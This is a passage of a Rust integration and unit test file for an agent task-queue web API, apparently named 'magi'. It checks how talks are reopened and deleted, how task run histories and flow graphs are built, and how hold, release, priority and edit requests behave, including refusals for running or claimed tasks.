10219 assert_eq!(reopened.status, 200, "{}", reopened.body);
10220 assert_eq!(reopened.json()["status"], "open");
10221
10222 let reopened_again = f.post(&format!("/api/talks/{id}/reopen"), None).await;
10224 assert_eq!(reopened_again.status, 200);
10225 assert_eq!(reopened_again.json()["status"], "open");
10226
10227 let said = f
10228 .post(
10229 &format!("/api/talks/{id}/say"),
10230 Some(r#"{"text":"still there?"}"#),
10231 )
10232 .await;
10233 assert_eq!(
10234 said.status, 202,
10235 "a reopened talk accepts turns again: {}",
10236 said.body
10237 );
10238 }
10239
10240 #[tokio::test]
10241 async fn talk_reopen_on_an_unknown_id_is_404() {
10242 let f = Fixture::start().await;
10243 let res = f.post("/api/talks/nonexistent-id/reopen", None).await;
10244 assert_eq!(res.status, 404, "{}", res.body);
10245 }
10246
10247 #[tokio::test]
10248 async fn talk_delete_removes_the_talk_from_disk_and_the_list() {
10249 let f = Fixture::start().await;
10250 let id = seed_talk(&f, "20260904-014455-ef56", "closed");
10251
10252 let deleted = f.delete(&format!("/api/talks/{id}")).await;
10253 assert_eq!(deleted.status, 204, "{}", deleted.body);
10254
10255 let after = f.get(&format!("/api/talks/{id}")).await;
10256 assert_eq!(after.status, 404, "{}", after.body);
10257
10258 let listed = f.get("/api/talks").await.json();
10259 assert!(
10260 listed.as_array().unwrap().iter().all(|t| t["id"] != id),
10261 "a deleted talk must not linger in the list: {listed}"
10262 );
10263 }
10264
10265 #[tokio::test]
10266 async fn talk_delete_on_an_unknown_id_is_404() {
10267 let f = Fixture::start().await;
10268 let res = f.delete("/api/talks/nonexistent-id").await;
10269 assert_eq!(res.status, 404, "{}", res.body);
10270 }
10271
10272 #[tokio::test]
10276 async fn task_detail_lists_every_run_with_what_kind_of_attempt_it_was() {
10277 let f = Fixture::start().await;
10278 let (a, b, gone) = (
10279 "20260902-140501-aaaa",
10280 "20260902-140502-bbbb",
10281 "20260902-140503-cccc",
10282 );
10283 write_run(&f.runs(), a, RunStatus::Stalled);
10284 let mut review = RunState::new(
10285 PathBuf::from("/repo/magi"),
10286 "main".to_owned(),
10287 "0123456789abcdef".to_owned(),
10288 "Review the work already on branch `magi/aaaa/A`. There is no task statement."
10289 .to_owned(),
10290 Config::default(),
10291 );
10292 review.id = b.to_owned();
10293 review.status = RunStatus::Merged;
10294 write_state(&f.runs(), &review);
10295
10296 let mut task = Task::new(
10297 "retry".to_owned(),
10298 "Do the thing".to_owned(),
10299 PathBuf::from("/repo/magi"),
10300 Source::Human,
10301 );
10302 task.start(a.to_owned());
10303 task.stall("quota");
10304 task.start(a.to_owned());
10305 task.start(b.to_owned());
10306 task.start(gone.to_owned());
10307 f.queue().put(&mut task).expect("file the task");
10308
10309 let res = f.get(&format!("/api/queue/{}", task.id)).await;
10310 assert_eq!(res.status, 200, "{}", res.body);
10311 let v = res.json();
10312 let h = v["history"].as_array().expect("history");
10313 assert_eq!(h.len(), 4, "{v}");
10314 assert_eq!(h[0]["kind"], "competition");
10315 assert_eq!(h[0]["status"], "stalled");
10316 assert_eq!(h[0]["provisional"], true, "a stall is never a decision");
10317 assert_eq!(h[1]["kind"], "resume", "{v}");
10318 assert!(
10319 h[0]["outcome"]
10320 .as_str()
10321 .unwrap()
10322 .contains("unknown. Pass #2"),
10323 "an earlier pass of a resumed run must not claim the final outcome: {v}"
10324 );
10325 assert!(
10326 !h[1]["outcome"].as_str().unwrap().contains("unknown."),
10327 "{v}"
10328 );
10329 assert!(
10330 !h[0]["outcome"].as_str().unwrap().contains("parked it"),
10331 "an unrecorded cause must not be narrated as an operator park: {v}"
10332 );
10333 assert_eq!(h[2]["kind"], "review");
10334 assert!(
10335 h[2]["description"]
10336 .as_str()
10337 .unwrap()
10338 .contains("magi/aaaa/A")
10339 );
10340 assert_eq!(h[2]["status"], "merged");
10341 assert_eq!(h[3]["readable"], false, "an unreadable run is shown");
10342 assert_eq!(v["runs_unreadable"], 1);
10343 let nodes = v["flow"]["nodes"].as_array().expect("flow nodes");
10344 assert_eq!(nodes.len(), 6, "start + four passes + end: {v}");
10345 assert_eq!(nodes[4]["note"], "unreadable");
10346 assert_eq!(v["flow"]["edges"].as_array().unwrap().len(), 5);
10347 assert_eq!(v["instruction"], "Do the thing");
10348 assert!(v["attempts_note"].as_str().unwrap().contains("handed back"));
10349
10350 let run = f.get(&format!("/api/runs/{a}")).await.json();
10352 assert_eq!(run["task"]["id"], task.id.as_str(), "{run}");
10353
10354 assert_eq!(f.get("/api/queue/nosuchtask").await.status, 404);
10355 }
10356
10357 fn flow_run(status: RunStatus, edit: impl FnOnce(&mut RunState)) -> RunState {
10358 let mut s = RunState::new(
10359 PathBuf::from("/repo/magi"),
10360 "main".to_owned(),
10361 "0123456789abcdef".to_owned(),
10362 "Do it".to_owned(),
10363 Config::default(),
10364 );
10365 s.status = status;
10366 edit(&mut s);
10367 s
10368 }
10369
10370 fn flow_task(runs: &[&str]) -> Task {
10371 let mut t = Task::new(
10372 "t".to_owned(),
10373 "Do it".to_owned(),
10374 PathBuf::from("/repo/magi"),
10375 Source::Human,
10376 );
10377 for r in runs {
10378 t.start((*r).to_owned());
10379 }
10380 t
10381 }
10382
10383 fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
10384 let h = task_history(task, |id| {
10385 states
10386 .iter()
10387 .find(|(i, _)| *i == id)
10388 .and_then(|(_, s)| s.clone())
10389 });
10390 task_flow(task, &h, 5, None)
10391 }
10392
10393 fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
10394 crate::queue::FollowUp {
10395 run: "20260901-000000-aaaa".to_owned(),
10396 origin_task: origin_task.map(str::to_owned),
10397 pr: "https://example.com/o/r/pull/1".to_owned(),
10398 findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
10399 .map(str::to_owned)
10400 .to_vec(),
10401 generation: 1,
10402 }
10403 }
10404
10405 fn parent_task() -> Task {
10406 let mut p = flow_task(&[]);
10407 p.title = "Parent title".to_owned();
10408 p.status = TaskStatus::Done;
10409 p
10410 }
10411
10412 #[test]
10413 fn flow_opens_with_the_parent_task_of_a_followup() {
10414 let p = parent_task();
10415 let pid = p.id.clone();
10416 let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
10417 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10418 let n = &f.nodes[0];
10419 assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
10420 assert_eq!(
10421 n.label,
10422 format!("Follow-up of {}", crate::queue::short(&pid))
10423 );
10424 assert_eq!(n.detail.as_deref(), Some("Parent title"));
10425 assert_eq!(n.status, Some("done"));
10426 assert_eq!(n.status_of, "task");
10427 assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
10428 assert_eq!(f.nodes[1].key, "start");
10429 assert_eq!(f.edges[0].from, "origin");
10430 assert_eq!(
10431 f.edges[0].label,
10432 "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
10433 );
10434 }
10435
10436 #[test]
10437 fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
10438 let o = followup_origin(
10439 &fu(Some("gone")),
10440 |_| None,
10441 |_| {
10442 Some(RunState::new(
10443 std::path::PathBuf::from("."),
10444 "main".to_owned(),
10445 "0".to_owned(),
10446 "t".to_owned(),
10447 crate::config::Config::default(),
10448 ))
10449 },
10450 );
10451 assert!(o.parent.is_none());
10452 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10453 let n = &f.nodes[0];
10454 assert_eq!(n.status_of, "run");
10455 assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
10456 assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
10457 }
10458
10459 #[test]
10460 fn flow_followup_with_nothing_readable_has_no_link() {
10461 let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
10462 let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
10463 let n = &f.nodes[0];
10464 assert_eq!(n.href, None);
10465 assert_eq!(n.note, Some("unreadable"));
10466 assert!(!n.readable);
10467 }
10468
10469 #[test]
10470 fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
10471 let o = followup_origin(&fu(None), |_| None, |_| None);
10472 let mut t = flow_task(&[]);
10473 t.origin_chat = Some("c1".to_owned());
10474 let f = task_flow(&t, &[], 5, Some(&o));
10475 assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
10476 t.source = Source::Agent {
10477 run: "c1".to_owned(),
10478 node: crate::queue::CHAT_NODE.to_owned(),
10479 };
10480 let f = task_flow(&t, &[], 5, Some(&o));
10481 assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
10482 assert_eq!(
10483 (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
10484 ("chat", "origin")
10485 );
10486 }
10487
10488 #[test]
10489 fn followup_origin_encodes_ids_and_survives_a_self_reference() {
10490 let mut p = parent_task();
10491 p.id = "a b/c".to_owned();
10492 let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
10493 assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
10494 }
10495
10496 #[test]
10497 fn flow_opens_with_the_chat_that_queued_the_task() {
10498 let mut t = flow_task(&[]);
10499 t.source = Source::Agent {
10500 run: "a b/c".to_owned(),
10501 node: crate::queue::CHAT_NODE.to_owned(),
10502 };
10503 let f = flow_for(&t, &[]);
10504 assert_eq!(f.nodes[0].key, "chat");
10505 assert_eq!(f.nodes[0].kind, "chat");
10506 assert_eq!(
10507 f.nodes[0].label,
10508 format!("Chat {}", crate::queue::short("a b/c"))
10509 );
10510 assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
10511 assert_eq!(f.nodes[1].key, "start");
10512 assert_eq!(
10513 f.edges[0],
10514 FlowEdge {
10515 from: "chat".to_owned(),
10516 to: "start".to_owned(),
10517 label: "queued from chat".to_owned(),
10518 attempt: AttemptCost::None,
10519 }
10520 );
10521 }
10522
10523 #[test]
10524 fn flow_has_no_chat_box_for_other_sources() {
10525 for source in [
10526 Source::Human,
10527 Source::Issue {
10528 number: 3,
10529 repo: "o/r".to_owned(),
10530 },
10531 Source::Agent {
10532 run: "20260904-014455-ab12".to_owned(),
10533 node: "implement".to_owned(),
10534 },
10535 ] {
10536 let mut t = flow_task(&[]);
10537 t.source = source;
10538 let f = flow_for(&t, &[]);
10539 assert_eq!(f.nodes[0].key, "start");
10540 assert!(f.nodes.iter().all(|n| n.kind != "chat"));
10541 assert!(f.edges.iter().all(|e| e.from != "chat"));
10542 }
10543 }
10544
10545 const FA: &str = "20260902-140501-aaaa";
10546 const FB: &str = "20260902-140502-bbbb";
10547
10548 #[test]
10549 fn flow_follows_blocked_retry_merged_to_done() {
10550 let mut t = flow_task(&[FA, FB]);
10551 t.status = TaskStatus::Done;
10552 let f = flow_for(
10553 &t,
10554 &[
10555 (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
10556 (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
10557 ],
10558 );
10559 let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
10560 assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
10561 assert_eq!(f.edges.len(), 3);
10562 assert_eq!(f.edges[0].label, "claimed");
10563 assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
10564 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10565 assert_eq!(f.edges[2].label, "merged \u{2192} done");
10566 assert_eq!(
10567 f.nodes[2].href.as_deref(),
10568 Some("#/runs/20260902-140502-bbbb")
10569 );
10570 assert!(f.nodes[2].decided);
10571 }
10572
10573 #[test]
10574 fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
10575 let quota = || {
10576 flow_run(RunStatus::Stalled, |s| {
10577 s.quota.push(crate::run::QuotaLoss {
10578 seat: "judge-1".to_owned(),
10579 node: "judge".to_owned(),
10580 at: Timestamp::now(),
10581 reset: None,
10582 })
10583 })
10584 };
10585 let mut t = flow_task(&[FA, FA]);
10586 t.status = TaskStatus::Queued;
10587 let f = flow_for(&t, &[(FA, Some(quota()))]);
10588 assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
10589 assert_eq!(f.nodes[1].note, Some("interrupted"));
10590 assert_eq!(
10591 f.nodes[1].status, None,
10592 "no outcome copied onto an earlier pass"
10593 );
10594 assert_eq!(
10595 f.edges[1].attempt,
10596 AttemptCost::Unknown,
10597 "a resume does not prove the earlier pass was refunded"
10598 );
10599 assert!(f.edges[1].label.contains("resume the same run"));
10600 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10601 assert_eq!(
10602 f.edges[2].label,
10603 "stalled after a resume, refund unknown \u{2192} queued"
10604 );
10605 assert!(!f.nodes[2].decided, "a stall is not a decision");
10606 assert_eq!(f.nodes[2].note, Some("no verdict"));
10607 }
10608
10609 #[test]
10610 fn flow_single_pass_quota_stall_is_refunded() {
10611 let t = flow_task(&[FA]);
10612 let f = flow_for(
10613 &t,
10614 &[(
10615 FA,
10616 Some(flow_run(RunStatus::Stalled, |s| {
10617 s.quota.push(crate::run::QuotaLoss {
10618 seat: "judge-1".to_owned(),
10619 node: "judge".to_owned(),
10620 at: Timestamp::now(),
10621 reset: None,
10622 })
10623 })),
10624 )],
10625 );
10626 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10627 }
10628
10629 #[test]
10630 fn flow_parked_refunds_and_stall_without_quota_spends() {
10631 let mut t = flow_task(&[FA]);
10632 t.status = TaskStatus::Queued;
10633 let f = flow_for(
10634 &t,
10635 &[(
10636 FA,
10637 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10638 )],
10639 );
10640 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10641 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10642 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10643 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10644 assert!(!f.nodes[1].decided);
10645 }
10646
10647 #[test]
10648 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10649 let t = flow_task(&[FA, FB]);
10650 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10651 assert_eq!(f.nodes[1].note, Some("unreadable"));
10652 assert!(!f.nodes[1].readable);
10653 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10654 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10655 }
10656
10657 #[test]
10658 fn flow_names_the_branch_of_a_review_only_run() {
10659 let t = flow_task(&[FA]);
10660 let f = flow_for(
10661 &t,
10662 &[(
10663 FA,
10664 Some(flow_run(RunStatus::Merged, |s| {
10665 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10666 })),
10667 )],
10668 );
10669 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10670 assert_eq!(
10671 f.nodes[1].detail.as_deref(),
10672 Some("review-only run of branch magi/x/A")
10673 );
10674 }
10675
10676 #[test]
10677 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10678 let mut t = flow_task(&[FA]);
10679 t.status = TaskStatus::Held;
10680 let pr = crate::run::PrRecord {
10681 url: "https://example.test/pr/1".to_owned(),
10682 number: 1,
10683 state: "open".to_owned(),
10684 checks: "green".to_owned(),
10685 round: 0,
10686 rounds: 3,
10687 red_at_merge: Vec::new(),
10688 };
10689 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10690 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10691 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10692 t.status = TaskStatus::Done;
10693 let f = flow_for(&t, &[(FA, Some(blocked))]);
10694 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10695 }
10696
10697 #[test]
10698 fn flow_with_no_runs_goes_from_queued_to_queued() {
10699 let t = flow_task(&[]);
10700 let f = flow_for(&t, &[]);
10701 assert_eq!(f.nodes.len(), 2);
10702 assert_eq!(f.edges.len(), 1);
10703 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10704 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10705 }
10706
10707 #[test]
10710 fn a_parked_non_terminal_run_is_explained_as_parked() {
10711 let mut s = RunState::new(
10712 PathBuf::from("/repo/magi"),
10713 "main".to_owned(),
10714 "0123456789abcdef".to_owned(),
10715 "Do it".to_owned(),
10716 Config::default(),
10717 );
10718 s.status = RunStatus::Implementing;
10719 s.parked = true;
10720 let task = Task::new(
10721 "t".to_owned(),
10722 "Do it".to_owned(),
10723 PathBuf::from("/repo/magi"),
10724 Source::Human,
10725 );
10726 let v = task_run_view(
10727 "20260902-140501-aaaa",
10728 Some(&s),
10729 RunSlot {
10730 n: 1,
10731 resumed: false,
10732 resumed_later: None,
10733 prior: None,
10734 last: true,
10735 },
10736 &task,
10737 );
10738 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10739 }
10740
10741 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10742 let mut s = flow_run(RunStatus::Implementing, edit);
10743 s.parked = false;
10744 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10745 task_run_view(
10746 "20260902-140501-aaaa",
10747 Some(&s),
10748 RunSlot {
10749 n: 1,
10750 resumed: false,
10751 resumed_later: Some(2),
10752 prior: None,
10753 last: false,
10754 },
10755 &task,
10756 )
10757 }
10758
10759 #[test]
10760 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10761 let v = earlier_pass_view(|_| {});
10762 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10763 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10764 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10765 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10766 assert_eq!(v.exit, RunExit::Interrupted);
10767 assert_eq!(v.attempt, AttemptCost::Unknown);
10768 }
10769
10770 #[test]
10771 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10772 let v = earlier_pass_view(|s| {
10773 s.quota.push(crate::run::QuotaLoss {
10774 seat: "judge-1".to_owned(),
10775 node: "judge".to_owned(),
10776 at: Timestamp::now(),
10777 reset: None,
10778 });
10779 });
10780 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10781 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10782 assert_eq!(v.attempt, AttemptCost::Unknown);
10783 }
10784
10785 #[test]
10786 fn the_current_pass_states_its_recorded_cause_and_cost() {
10787 let slot = || RunSlot {
10788 n: 1,
10789 resumed: false,
10790 resumed_later: None,
10791 prior: None,
10792 last: true,
10793 };
10794 let task = flow_task(&["20260902-140501-aaaa"]);
10795 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10796 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10797 assert_eq!(
10798 (v.exit, v.attempt),
10799 (RunExit::Parked, AttemptCost::Refunded)
10800 );
10801 let spent = flow_run(RunStatus::Blocked, |_| {});
10802 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10803 assert_eq!(v.attempt, AttemptCost::Spent);
10804 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10805 }
10806
10807 #[tokio::test]
10808 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10809 let f = Fixture::start().await;
10810 let queue = f.queue();
10811 let mut task = Task::new(
10812 "spent".to_owned(),
10813 "Try again".to_owned(),
10814 PathBuf::from("/repo/magi"),
10815 Source::Human,
10816 );
10817 task.start("20260902-140502-bbbb".to_owned());
10818 task.fail("agent gave up", 9);
10819 queue.put(&mut task).expect("file the task");
10820
10821 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10822 assert_eq!(held.status, 200);
10823 assert_eq!(held.json()["status_str"], "held");
10824
10825 let released = f
10826 .post(&format!("/api/queue/{}/release", task.id), None)
10827 .await;
10828 assert_eq!(released.status, 200);
10829 assert_eq!(released.json()["status_str"], "queued");
10830 assert_eq!(
10831 released.json()["attempts"],
10832 0,
10833 "release is a real second chance, not an instant re-hold"
10834 );
10835 assert_eq!(
10836 queue.get(&task.id).expect("reload").status,
10837 TaskStatus::Queued,
10838 "the change is on disk, not only in the reply"
10839 );
10840 assert!(
10841 !f.home
10842 .path()
10843 .join("queue")
10844 .join(format!("{}.lock", task.id))
10845 .exists(),
10846 "the claim the mutation took is released again"
10847 );
10848 }
10849
10850 #[tokio::test]
10851 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10852 let f = Fixture::start().await;
10853 let queue = f.queue();
10854 let mut task = Task::new(
10855 "busy".to_owned(),
10856 "Running right now".to_owned(),
10857 PathBuf::from("/repo/magi"),
10858 Source::Human,
10859 );
10860 queue.put(&mut task).expect("file the task");
10861 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10862
10863 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10864
10865 assert_eq!(res.status, 409);
10866 assert_eq!(
10867 queue.get(&task.id).expect("reload").status,
10868 TaskStatus::Queued,
10869 "the refused hold changed nothing"
10870 );
10871 }
10872
10873 #[tokio::test]
10874 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10875 let f = Fixture::start().await;
10876 let queue = f.queue();
10877 let mut task = Task::new(
10878 "waiting on the migration".to_owned(),
10879 "Do the thing".to_owned(),
10880 PathBuf::from("/repo/magi"),
10881 Source::Human,
10882 );
10883 queue.put(&mut task).expect("file the task");
10884
10885 let held = f
10886 .post(
10887 &format!("/api/queue/{}/hold", task.id),
10888 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10889 )
10890 .await;
10891 assert_eq!(held.status, 200, "{}", held.body);
10892 assert_eq!(held.json()["status_str"], "held");
10893 assert_eq!(
10894 held.json()["hold_reason"],
10895 "waiting for 20260101-000000-aaaa to land"
10896 );
10897
10898 let listed = f.get("/api/queue").await.json();
10899 assert_eq!(
10900 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10901 "the card reads the reason off the same list route"
10902 );
10903
10904 let mut plain = Task::new(
10907 "no reason given".to_owned(),
10908 "Do another thing".to_owned(),
10909 PathBuf::from("/repo/magi"),
10910 Source::Human,
10911 );
10912 queue.put(&mut plain).expect("file the task");
10913 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10914 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10915 assert!(held_plain.json()["hold_reason"].is_null());
10916
10917 let released = f
10918 .post(&format!("/api/queue/{}/release", task.id), None)
10919 .await;
10920 assert_eq!(released.status, 200);
10921 assert!(
10922 released.json()["hold_reason"].is_null(),
10923 "a release must clear the reason so the next hold does not inherit it"
10924 );
10925 }
10926
10927 #[tokio::test]
10928 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10929 let f = Fixture::start().await;
10930 let queue = f.queue();
10931 let mut older = Task::new(
10932 "filed first".to_owned(),
10933 "x".to_owned(),
10934 PathBuf::from("/repo/magi"),
10935 Source::Human,
10936 );
10937 older.id = "20260101-000001-aaaa".to_owned();
10938 let mut newer = Task::new(
10939 "filed second".to_owned(),
10940 "x".to_owned(),
10941 PathBuf::from("/repo/magi"),
10942 Source::Human,
10943 );
10944 newer.id = "20260101-000002-bbbb".to_owned();
10945 queue.put(&mut older).expect("file older");
10946 queue.put(&mut newer).expect("file newer");
10947
10948 let before = f.get("/api/queue").await.json();
10951 assert_eq!(before[0]["id"], newer.id);
10952 assert_eq!(before[1]["id"], older.id);
10953
10954 let raised = f
10958 .post(
10959 &format!("/api/queue/{}/priority", older.id),
10960 Some(r#"{"priority":10}"#),
10961 )
10962 .await;
10963 assert_eq!(raised.status, 200, "{}", raised.body);
10964 assert_eq!(raised.json()["priority"], 10);
10965
10966 let after = f.get("/api/queue").await.json();
10967 let names: Vec<&str> = after
10968 .as_array()
10969 .unwrap()
10970 .iter()
10971 .map(|t| t["id"].as_str().unwrap())
10972 .collect();
10973 assert_eq!(names[0], older.id, "the raised task now sorts first");
10977 }
10978
10979 #[tokio::test]
10980 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10981 let f = Fixture::start().await;
10982 let queue = f.queue();
10983 let mut task = Task::new(
10984 "in flight".to_owned(),
10985 "x".to_owned(),
10986 PathBuf::from("/repo/magi"),
10987 Source::Human,
10988 );
10989 task.start("20260902-140502-bbbb".to_owned());
10990 queue.put(&mut task).expect("file the task");
10991
10992 let res = f
10993 .post(
10994 &format!("/api/queue/{}/priority", task.id),
10995 Some(r#"{"priority":9}"#),
10996 )
10997 .await;
10998 assert_eq!(res.status, 400, "{}", res.body);
10999 assert!(
11000 res.json()["error"]
11001 .as_str()
11002 .is_some_and(|e| e.contains("running")),
11003 "{}",
11004 res.body
11005 );
11006 assert_eq!(
11007 queue.get(&task.id).expect("reload").priority,
11008 0,
11009 "the refused write must not partially apply"
11010 );
11011 }
11012
11013 #[tokio::test]
11014 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
11015 let f = Fixture::start().await;
11016 let queue = f.queue();
11017 let mut task = Task::new(
11018 "old title".to_owned(),
11019 "old instruction".to_owned(),
11020 PathBuf::from("/repo/magi"),
11021 Source::Agent {
11022 run: "20260101-000000-beef".to_owned(),
11023 node: "implement".to_owned(),
11024 },
11025 );
11026 task.runs.push("20260101-000000-beef".to_owned());
11027 queue.put(&mut task).expect("file the task");
11028 let created_at = task.created_at;
11029
11030 let edited = f
11031 .post(
11032 &format!("/api/queue/{}/edit", task.id),
11033 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
11034 )
11035 .await;
11036 assert_eq!(edited.status, 200, "{}", edited.body);
11037 let body = edited.json();
11038 assert_eq!(body["title"], "new title");
11039 assert_eq!(body["instruction"], "new instruction");
11040 assert_eq!(body["id"], task.id, "editing must not mint a new id");
11041 assert_eq!(body["created_at"], created_at.to_string());
11042 assert_eq!(
11043 body["source"]["kind"], "agent",
11044 "editing a task an agent filed must not turn it human: {body}"
11045 );
11046 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
11047
11048 let reloaded = queue.get(&task.id).expect("reload");
11049 assert_eq!(reloaded.title, "new title");
11050 assert_eq!(reloaded.instruction, "new instruction");
11051 }
11052
11053 #[tokio::test]
11054 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
11055 let tmp = TempDir::new().expect("tempdir");
11058 let repo = tmp.path().join("repo");
11059 std::fs::create_dir_all(&repo).expect("repo dir");
11060 let judge = MOCK_AGENT_TOML.replace(
11061 "printf ok",
11062 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
11063 );
11064 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
11065 let f = Fixture::with_repo(repo.clone()).await;
11066 let queue = f.queue();
11067 let mut owner = Task::new(
11068 "owner".to_owned(),
11069 "review it".to_owned(),
11070 repo.clone(),
11071 Source::Human,
11072 );
11073 owner.review_branch = Some("magi/ab12/A".to_owned());
11074 queue.put(&mut owner).expect("file the owner");
11075 let mut task = Task::new(
11076 "draft".to_owned(),
11077 "old".to_owned(),
11078 repo.clone(),
11079 Source::Human,
11080 );
11081 queue.put(&mut task).expect("file the draft");
11082 let url = format!("/api/queue/{}/edit", task.id);
11083
11084 let refused = f
11085 .post(
11086 &url,
11087 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
11088 )
11089 .await;
11090 assert_eq!(refused.status, 409, "{}", refused.body);
11091 let msg = refused.json()["error"]
11092 .as_str()
11093 .unwrap_or_default()
11094 .to_owned();
11095 assert!(
11096 msg.contains("magi/ab12/A") && msg.contains("force"),
11097 "{msg}"
11098 );
11099 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
11100
11101 let forced = f
11102 .post(
11103 &url,
11104 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
11105 )
11106 .await;
11107 assert_eq!(forced.status, 200, "{}", forced.body);
11108 }
11109
11110 #[tokio::test]
11111 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
11112 let f = Fixture::start().await;
11113 let queue = f.queue();
11114 let mut task = Task::new(
11115 "in flight".to_owned(),
11116 "do not touch".to_owned(),
11117 PathBuf::from("/repo/magi"),
11118 Source::Human,
11119 );
11120 task.start("20260902-140502-bbbb".to_owned());
11121 queue.put(&mut task).expect("file the task");
11122
11123 let res = f
11124 .post(
11125 &format!("/api/queue/{}/edit", task.id),
11126 Some(r#"{"title":"x","instruction":"y"}"#),
11127 )
11128 .await;
11129 assert_eq!(res.status, 400, "{}", res.body);
11130 assert!(
11131 res.json()["error"]
11132 .as_str()
11133 .is_some_and(|e| e.contains("running")),
11134 "{}",
11135 res.body
11136 );
11137 assert_eq!(
11138 queue.get(&task.id).expect("reload").instruction,
11139 "do not touch",
11140 "the refused edit must not change the file"
11141 );
11142 }
11143
11144 #[tokio::test]
11145 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
11146 let f = Fixture::start().await;
11147 let queue = f.queue();
11148 let mut task = Task::new(
11149 "busy".to_owned(),
11150 "Running right now".to_owned(),
11151 PathBuf::from("/repo/magi"),
11152 Source::Human,
11153 );
11154 queue.put(&mut task).expect("file the task");
11155 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
11156
11157 let priority = f
11158 .post(
11159 &format!("/api/queue/{}/priority", task.id),
11160 Some(r#"{"priority":9}"#),
11161 )
11162 .await;
11163 assert_eq!(priority.status, 409, "{}", priority.body);
